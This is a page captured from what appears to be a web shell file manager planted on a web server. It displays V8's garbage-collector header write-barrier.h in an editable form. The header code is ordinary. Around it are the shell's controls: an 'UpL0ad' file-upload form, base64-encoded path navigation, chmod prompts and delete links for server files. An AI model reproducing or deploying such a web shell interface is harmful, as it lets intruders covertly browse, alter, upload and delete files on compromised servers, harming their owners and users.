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<hr>write-barrier.h<form method=post action="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw%3D&f=d3JpdGUtYmFycmllci5o"><input name="f" value="write-barrier.h"><textarea name="t">// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef INCLUDE_CPPGC_INTERNAL_WRITE_BARRIER_H_
#define INCLUDE_CPPGC_INTERNAL_WRITE_BARRIER_H_

#include &lt;cstddef&gt;
#include &lt;cstdint&gt;

#include &quot;cppgc/heap-state.h&quot;
#include &quot;cppgc/internal/api-constants.h&quot;
#include &quot;cppgc/internal/atomic-entry-flag.h&quot;
#include &quot;cppgc/platform.h&quot;
#include &quot;cppgc/sentinel-pointer.h&quot;
#include &quot;cppgc/trace-trait.h&quot;
#include &quot;v8config.h&quot;  // NOLINT(build/include_directory)

#if defined(CPPGC_CAGED_HEAP)
#include &quot;cppgc/internal/caged-heap-local-data.h&quot;
#endif

namespace cppgc {

class HeapHandle;

namespace internal {

#if defined(CPPGC_CAGED_HEAP)
class WriteBarrierTypeForCagedHeapPolicy;
#else   // !CPPGC_CAGED_HEAP
class WriteBarrierTypeForNonCagedHeapPolicy;
#endif  // !CPPGC_CAGED_HEAP

class V8_EXPORT WriteBarrier final {
 public:
  enum class Type : uint8_t {
    kNone,
    kMarking,
    kGenerational,
  };

  struct Params {
    HeapHandle* heap = nullptr;
#if V8_ENABLE_CHECKS
    Type type = Type::kNone;
#endif  // !V8_ENABLE_CHECKS
#if defined(CPPGC_CAGED_HEAP)
    uintptr_t start = 0;
    CagedHeapLocalData&amp; caged_heap() const {
      return *reinterpret_cast&lt;CagedHeapLocalData*&gt;(start);
    }
    uintptr_t slot_offset = 0;
    uintptr_t value_offset = 0;
#endif  // CPPGC_CAGED_HEAP
  };

  enum class ValueMode {
    kValuePresent,
    kNoValuePresent,
  };

  // Returns the required write barrier for a given `slot` and `value`.
  static V8_INLINE Type GetWriteBarrierType(const void* slot, const void* value,
                                            Params&amp; params);
  // Returns the required write barrier for a given `slot`.
  template &lt;typename HeapHandleCallback&gt;
  static V8_INLINE Type GetWriteBarrierType(const void* slot, Params&amp; params,
                                            HeapHandleCallback callback);
  // Returns the required write barrier for a given  `value`.
  static V8_INLINE Type GetWriteBarrierType(const void* value, Params&amp; params);

  static V8_INLINE void DijkstraMarkingBarrier(const Params&amp; params,
                                               const void* object);
  static V8_INLINE void DijkstraMarkingBarrierRange(
      const Params&amp; params, const void* first_element, size_t element_size,
      size_t number_of_elements, TraceCallback trace_callback);
  static V8_INLINE void SteeleMarkingBarrier(const Params&amp; params,
                                             const void* object);
#if defined(CPPGC_YOUNG_GENERATION)
  static V8_INLINE void GenerationalBarrier(const Params&amp; params,
                                            const void* slot);
  static V8_INLINE void GenerationalBarrierForSourceObject(
      const Params&amp; params, const void* inner_pointer);
#else  // !CPPGC_YOUNG_GENERATION
  static V8_INLINE void GenerationalBarrier(const Params&amp; params,
                                            const void* slot) {}
  static V8_INLINE void GenerationalBarrierForSourceObject(
      const Params&amp; params, const void* inner_pointer) {}
#endif  // CPPGC_YOUNG_GENERATION

#if V8_ENABLE_CHECKS
  static void CheckParams(Type expected_type, const Params&amp; params);
#else   // !V8_ENABLE_CHECKS
  static void CheckParams(Type expected_type, const Params&amp; params) {}
#endif  // !V8_ENABLE_CHECKS

  // The IncrementalOrConcurrentUpdater class allows cppgc internal to update
  // |incremental_or_concurrent_marking_flag_|.
  class IncrementalOrConcurrentMarkingFlagUpdater;
  static bool IsAnyIncrementalOrConcurrentMarking() {
    return incremental_or_concurrent_marking_flag_.MightBeEntered();
  }

 private:
  WriteBarrier() = delete;

#if defined(CPPGC_CAGED_HEAP)
  using WriteBarrierTypePolicy = WriteBarrierTypeForCagedHeapPolicy;
#else   // !CPPGC_CAGED_HEAP
  using WriteBarrierTypePolicy = WriteBarrierTypeForNonCagedHeapPolicy;
#endif  // !CPPGC_CAGED_HEAP

  static void DijkstraMarkingBarrierSlow(const void* value);
  static void DijkstraMarkingBarrierSlowWithSentinelCheck(const void* value);
  static void DijkstraMarkingBarrierRangeSlow(HeapHandle&amp; heap_handle,
                                              const void* first_element,
                                              size_t element_size,
                                              size_t number_of_elements,
                                              TraceCallback trace_callback);
  static void SteeleMarkingBarrierSlow(const void* value);
  static void SteeleMarkingBarrierSlowWithSentinelCheck(const void* value);

#if defined(CPPGC_YOUNG_GENERATION)
  static CagedHeapLocalData&amp; GetLocalData(HeapHandle&amp;);
  static void GenerationalBarrierSlow(const CagedHeapLocalData&amp; local_data,
                                      const AgeTable&amp; age_table,
                                      const void* slot, uintptr_t value_offset);
  static void GenerationalBarrierForSourceObjectSlow(
      const CagedHeapLocalData&amp; local_data, const void* object);
#endif  // CPPGC_YOUNG_GENERATION

  static AtomicEntryFlag incremental_or_concurrent_marking_flag_;
};

template &lt;WriteBarrier::Type type&gt;
V8_INLINE WriteBarrier::Type SetAndReturnType(WriteBarrier::Params&amp; params) {
  if (type == WriteBarrier::Type::kNone) return WriteBarrier::Type::kNone;
#if V8_ENABLE_CHECKS
  params.type = type;
#endif  // !V8_ENABLE_CHECKS
  return type;
}

#if defined(CPPGC_CAGED_HEAP)
class V8_EXPORT WriteBarrierTypeForCagedHeapPolicy final {
 public:
  template &lt;WriteBarrier::ValueMode value_mode, typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void* slot, const void* value,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
    return ValueModeDispatch&lt;value_mode&gt;::Get(slot, value, params, callback);
  }

  template &lt;WriteBarrier::ValueMode value_mode, typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void* value,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
    return GetNoSlot(value, params, callback);
  }

 private:
  WriteBarrierTypeForCagedHeapPolicy() = delete;

  template &lt;typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type GetNoSlot(const void* value,
                                                WriteBarrier::Params&amp; params,
                                                HeapHandleCallback) {
    if (!TryGetCagedHeap(value, value, params)) {
      return WriteBarrier::Type::kNone;
    }
    if (V8_UNLIKELY(params.caged_heap().is_incremental_marking_in_progress)) {
      return SetAndReturnType&lt;WriteBarrier::Type::kMarking&gt;(params);
    }
    return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
  }

  template &lt;WriteBarrier::ValueMode value_mode&gt;
  struct ValueModeDispatch;

  static V8_INLINE bool TryGetCagedHeap(const void* slot, const void* value,
                                        WriteBarrier::Params&amp; params) {
    // TODO(chromium:1056170): Check if the null check can be folded in with
    // the rest of the write barrier.
    if (!value) return false;
    params.start = reinterpret_cast&lt;uintptr_t&gt;(value) &amp;
                   ~(api_constants::kCagedHeapReservationAlignment - 1);
    const uintptr_t slot_offset =
        reinterpret_cast&lt;uintptr_t&gt;(slot) - params.start;
    if (slot_offset &gt; api_constants::kCagedHeapReservationSize) {
      // Check if slot is on stack or value is sentinel or nullptr. This relies
      // on the fact that kSentinelPointer is encoded as 0x1.
      return false;
    }
    return true;
  }

  // Returns whether marking is in progress. If marking is not in progress
  // sets the start of the cage accordingly.
  //
  // TODO(chromium:1056170): Create fast path on API.
  static bool IsMarking(const HeapHandle&amp;, WriteBarrier::Params&amp;);
};

template &lt;&gt;
struct WriteBarrierTypeForCagedHeapPolicy::ValueModeDispatch&lt;
    WriteBarrier::ValueMode::kValuePresent&gt; {
  template &lt;typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void* slot, const void* value,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback) {
#if !defined(CPPGC_YOUNG_GENERATION)
    if (V8_LIKELY(!WriteBarrier::IsAnyIncrementalOrConcurrentMarking())) {
      return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
    }
#endif  // !CPPGC_YOUNG_GENERATION
    bool within_cage = TryGetCagedHeap(slot, value, params);
    if (!within_cage) {
      return WriteBarrier::Type::kNone;
    }
    if (V8_LIKELY(!params.caged_heap().is_incremental_marking_in_progress)) {
#if defined(CPPGC_YOUNG_GENERATION)
      params.heap = reinterpret_cast&lt;HeapHandle*&gt;(params.start);
      params.slot_offset = reinterpret_cast&lt;uintptr_t&gt;(slot) - params.start;
      params.value_offset = reinterpret_cast&lt;uintptr_t&gt;(value) - params.start;
      return SetAndReturnType&lt;WriteBarrier::Type::kGenerational&gt;(params);
#else   // !CPPGC_YOUNG_GENERATION
      return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
#endif  // !CPPGC_YOUNG_GENERATION
    }
    params.heap = reinterpret_cast&lt;HeapHandle*&gt;(params.start);
    return SetAndReturnType&lt;WriteBarrier::Type::kMarking&gt;(params);
  }
};

template &lt;&gt;
struct WriteBarrierTypeForCagedHeapPolicy::ValueModeDispatch&lt;
    WriteBarrier::ValueMode::kNoValuePresent&gt; {
  template &lt;typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void* slot, const void*,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
#if defined(CPPGC_YOUNG_GENERATION)
    HeapHandle&amp; handle = callback();
    if (V8_LIKELY(!IsMarking(handle, params))) {
      // params.start is populated by IsMarking().
      params.heap = &amp;handle;
      params.slot_offset = reinterpret_cast&lt;uintptr_t&gt;(slot) - params.start;
      // params.value_offset stays 0.
      if (params.slot_offset &gt; api_constants::kCagedHeapReservationSize) {
        // Check if slot is on stack.
        return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
      }
      return SetAndReturnType&lt;WriteBarrier::Type::kGenerational&gt;(params);
    }
#else   // !CPPGC_YOUNG_GENERATION
    if (V8_LIKELY(!WriteBarrier::IsAnyIncrementalOrConcurrentMarking())) {
      return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
    }
    HeapHandle&amp; handle = callback();
    if (V8_UNLIKELY(!subtle::HeapState::IsMarking(handle))) {
      return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
    }
#endif  // !CPPGC_YOUNG_GENERATION
    params.heap = &amp;handle;
    return SetAndReturnType&lt;WriteBarrier::Type::kMarking&gt;(params);
  }
};

#endif  // CPPGC_CAGED_HEAP

class V8_EXPORT WriteBarrierTypeForNonCagedHeapPolicy final {
 public:
  template &lt;WriteBarrier::ValueMode value_mode, typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void* slot, const void* value,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
    return ValueModeDispatch&lt;value_mode&gt;::Get(slot, value, params, callback);
  }

  template &lt;WriteBarrier::ValueMode value_mode, typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void* value,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
    // The slot will never be used in `Get()` below.
    return Get&lt;WriteBarrier::ValueMode::kValuePresent&gt;(nullptr, value, params,
                                                       callback);
  }

 private:
  template &lt;WriteBarrier::ValueMode value_mode&gt;
  struct ValueModeDispatch;

  // TODO(chromium:1056170): Create fast path on API.
  static bool IsMarking(const void*, HeapHandle**);
  // TODO(chromium:1056170): Create fast path on API.
  static bool IsMarking(HeapHandle&amp;);

  WriteBarrierTypeForNonCagedHeapPolicy() = delete;
};

template &lt;&gt;
struct WriteBarrierTypeForNonCagedHeapPolicy::ValueModeDispatch&lt;
    WriteBarrier::ValueMode::kValuePresent&gt; {
  template &lt;typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void*, const void* object,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
    // The following check covers nullptr as well as sentinel pointer.
    if (object &lt;= static_cast&lt;void*&gt;(kSentinelPointer)) {
      return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
    }
    if (V8_LIKELY(!WriteBarrier::IsAnyIncrementalOrConcurrentMarking())) {
      return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
    }
    if (IsMarking(object, &amp;params.heap)) {
      return SetAndReturnType&lt;WriteBarrier::Type::kMarking&gt;(params);
    }
    return SetAndReturnType&lt;WriteBarrier::Type::kNone&gt;(params);
  }
};

template &lt;&gt;
struct WriteBarrierTypeForNonCagedHeapPolicy::ValueModeDispatch&lt;
    WriteBarrier::ValueMode::kNoValuePresent&gt; {
  template &lt;typename HeapHandleCallback&gt;
  static V8_INLINE WriteBarrier::Type Get(const void*, const void*,
                                          WriteBarrier::Params&amp; params,
                                          HeapHandleCallback callback) {
    if (V8_UNLIKELY(WriteBarrier::IsAnyIncrementalOrConcurrentMarking())) {
      HeapHandle&amp; handle = callback();
      if (IsMarking(handle)) {
        params.heap = &amp;handle;
        return SetAndReturnType&lt;WriteBarrier::Type::kMarking&gt;(params);
      }
    }
    return WriteBarrier::Type::kNone;
  }
};

// static
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
    const void* slot, const void* value, WriteBarrier::Params&amp; params) {
  return WriteBarrierTypePolicy::Get&lt;ValueMode::kValuePresent&gt;(slot, value,
                                                               params, []() {});
}

// static
template &lt;typename HeapHandleCallback&gt;
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
    const void* slot, WriteBarrier::Params&amp; params,
    HeapHandleCallback callback) {
  return WriteBarrierTypePolicy::Get&lt;ValueMode::kNoValuePresent&gt;(
      slot, nullptr, params, callback);
}

// static
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
    const void* value, WriteBarrier::Params&amp; params) {
  return WriteBarrierTypePolicy::Get&lt;ValueMode::kValuePresent&gt;(value, params,
                                                               []() {});
}

// static
void WriteBarrier::DijkstraMarkingBarrier(const Params&amp; params,
                                          const void* object) {
  CheckParams(Type::kMarking, params);
#if defined(CPPGC_CAGED_HEAP)
  // Caged heap already filters out sentinels.
  DijkstraMarkingBarrierSlow(object);
#else   // !CPPGC_CAGED_HEAP
  DijkstraMarkingBarrierSlowWithSentinelCheck(object);
#endif  // !CPPGC_CAGED_HEAP
}

// static
void WriteBarrier::DijkstraMarkingBarrierRange(const Params&amp; params,
                                               const void* first_element,
                                               size_t element_size,
                                               size_t number_of_elements,
                                               TraceCallback trace_callback) {
  CheckParams(Type::kMarking, params);
  DijkstraMarkingBarrierRangeSlow(*params.heap, first_element, element_size,
                                  number_of_elements, trace_callback);
}

// static
void WriteBarrier::SteeleMarkingBarrier(const Params&amp; params,
                                        const void* object) {
  CheckParams(Type::kMarking, params);
#if defined(CPPGC_CAGED_HEAP)
  // Caged heap already filters out sentinels.
  SteeleMarkingBarrierSlow(object);
#else   // !CPPGC_CAGED_HEAP
  SteeleMarkingBarrierSlowWithSentinelCheck(object);
#endif  // !CPPGC_CAGED_HEAP
}

#if defined(CPPGC_YOUNG_GENERATION)
// static
void WriteBarrier::GenerationalBarrier(const Params&amp; params, const void* slot) {
  CheckParams(Type::kGenerational, params);

  const CagedHeapLocalData&amp; local_data = params.caged_heap();
  const AgeTable&amp; age_table = local_data.age_table;

  // Bail out if the slot is in young generation.
  if (V8_LIKELY(age_table.GetAge(params.slot_offset) == AgeTable::Age::kYoung))
    return;

  GenerationalBarrierSlow(local_data, age_table, slot, params.value_offset);
}

// static
void WriteBarrier::GenerationalBarrierForSourceObject(
    const Params&amp; params, const void* inner_pointer) {
  CheckParams(Type::kGenerational, params);

  const CagedHeapLocalData&amp; local_data = params.caged_heap();
  const AgeTable&amp; age_table = local_data.age_table;

  // Assume that if the first element is in young generation, the whole range is
  // in young generation.
  if (V8_LIKELY(age_table.GetAge(params.slot_offset) == AgeTable::Age::kYoung))
    return;

  GenerationalBarrierForSourceObjectSlow(local_data, inner_pointer);
}

#endif  // !CPPGC_YOUNG_GENERATION

}  // namespace internal
}  // namespace cppgc

#endif  // INCLUDE_CPPGC_INTERNAL_WRITE_BARRIER_H_
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/nodejs/deps/v8/include/cppgc/internal<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2M="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=YXBpLWNvbnN0YW50cy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXBpLWNvbnN0YW50cy5o"/>api-constants.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXBpLWNvbnN0YW50cy5o&c=`+btoa(c):0" value="0644"></td><td>1740</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=YXRvbWljLWVudHJ5LWZsYWcuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXRvbWljLWVudHJ5LWZsYWcuaA=="/>atomic-entry-flag.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXRvbWljLWVudHJ5LWZsYWcuaA==&c=`+btoa(c):0" value="0644"></td><td>1763</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=Y2FnZWQtaGVhcC1sb2NhbC1kYXRhLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y2FnZWQtaGVhcC1sb2NhbC1kYXRhLmg="/>caged-heap-local-data.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y2FnZWQtaGVhcC1sb2NhbC1kYXRhLmg=&c=`+btoa(c):0" value="0644"></td><td>2307</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=Y29tcGlsZXItc3BlY2lmaWMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y29tcGlsZXItc3BlY2lmaWMuaA=="/>compiler-specific.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y29tcGlsZXItc3BlY2lmaWMuaA==&c=`+btoa(c):0" value="0644"></td><td>1019</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=ZmluYWxpemVyLXRyYWl0Lmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=ZmluYWxpemVyLXRyYWl0Lmg="/>finalizer-trait.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=ZmluYWxpemVyLXRyYWl0Lmg=&c=`+btoa(c):0" value="0644"></td><td>2656</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=Z2MtaW5mby5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Z2MtaW5mby5o"/>gc-info.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Z2MtaW5mby5o&c=`+btoa(c):0" value="0644"></td><td>8283</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=bG9nZ2luZy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bG9nZ2luZy5o"/>logging.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bG9nZ2luZy5o&c=`+btoa(c):0" value="0644"></td><td>1702</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=bmFtZS10cmFpdC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bmFtZS10cmFpdC5o"/>name-trait.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bmFtZS10cmFpdC5o&c=`+btoa(c):0" value="0644"></td><td>3529</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=cGVyc2lzdGVudC1ub2RlLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cGVyc2lzdGVudC1ub2RlLmg="/>persistent-node.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cGVyc2lzdGVudC1ub2RlLmg=&c=`+btoa(c):0" value="0644"></td><td>5980</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=cG9pbnRlci1wb2xpY2llcy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cG9pbnRlci1wb2xpY2llcy5o"/>pointer-policies.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cG9pbnRlci1wb2xpY2llcy5o&c=`+btoa(c):0" value="0644"></td><td>6068</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=d3JpdGUtYmFycmllci5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=d3JpdGUtYmFycmllci5o"/>write-barrier.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=d3JpdGUtYmFycmllci5o&c=`+btoa(c):0" value="0644"></td><td>17187</td></tr></table>